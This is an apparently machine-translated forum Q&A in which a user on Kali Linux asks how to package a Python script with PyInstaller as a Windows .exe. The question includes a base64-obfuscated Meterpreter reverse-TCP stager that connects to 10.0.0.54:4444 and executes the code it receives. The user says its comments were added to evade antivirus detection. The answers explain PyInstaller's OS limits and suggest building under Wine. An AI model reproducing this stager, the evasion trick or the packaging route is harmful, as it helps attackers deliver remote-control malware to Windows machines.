在 Linux 上将 Python 编译为 .EXE 而不是 .ELF

Compiling Python to .EXE instead of .ELF on Linux

我正在 Kali Linux 上编译 Python 代码。我想在 Windows 上为 运行 生成一个 .exe 文件。这些是 PyInstaller 的以下设置:

pyinstaller -F /root/Desktop/Evil_private.py -i Evil_Private.exe

并且代码只是带有一些注释的 meterpreter,以避免反病毒检测。下面的代码是:

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]
('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQ0KI0kgYW0gbm90IGEgc2NyaXB0IGtpZGRpZQ0KZm9yIHggaW4gcmFuZ2UoMTApOg0KCXRyeToNCgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KCQlzLmNvbm5lY3QoKCcxMC4wLjAuNTQnLDQ0NDQpKQ0KCQlicmVhaw0KCWV4Y2VwdDoNCgkJdGltZS5zbGVlcCg1KQ0KbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQ0KZD1zLnJlY3YobCkNCiNOaWNlIEFOVEktViBicm8sIFdIT0FBQUENCndoaWxlIGxlbihkKTxsOg0KCWQrPXMucmVjdihsLWxlbihkKSkNCmV4ZWMoZCx7J3MnOnN9KQ0K')))

当我编译它时,我收到一个 .ELF 文件而不是 .EXE。也许我的目录有误?我不这么认为,因为我检查了大多数与 PyInstaller 相关的目录。 PyInstaller的指南我看过了,但是好像没什么用。是否有任何解决方案可以在 Linux 上编译 Python 代码以获得 Windows 的 .exe 文件?

来自the documentation

The output of PyInstaller is specific to the active operating system and the active version of Python. This means that to prepare a distribution for:

  • a different OS
  • a different version of Python
  • a 32-bit or 64-bit OS

you run PyInstaller on that OS, under that version of Python. The Python interpreter that executes PyInstaller is part of the bundle, and it is specific to the OS and the word size.

您无法在 Kali 运行 其 Python 下生成 .exe。

Ignacio 的回答是正确的。 Linux 版本的 pyinstaller 不会构建 Windows 个 PE。

[复杂] 解决方法是安装 wine,然后在 wine 上安装 python(在 wine 上安装 pyinstaller)。

然后运行wine的pyinstaller构建exe。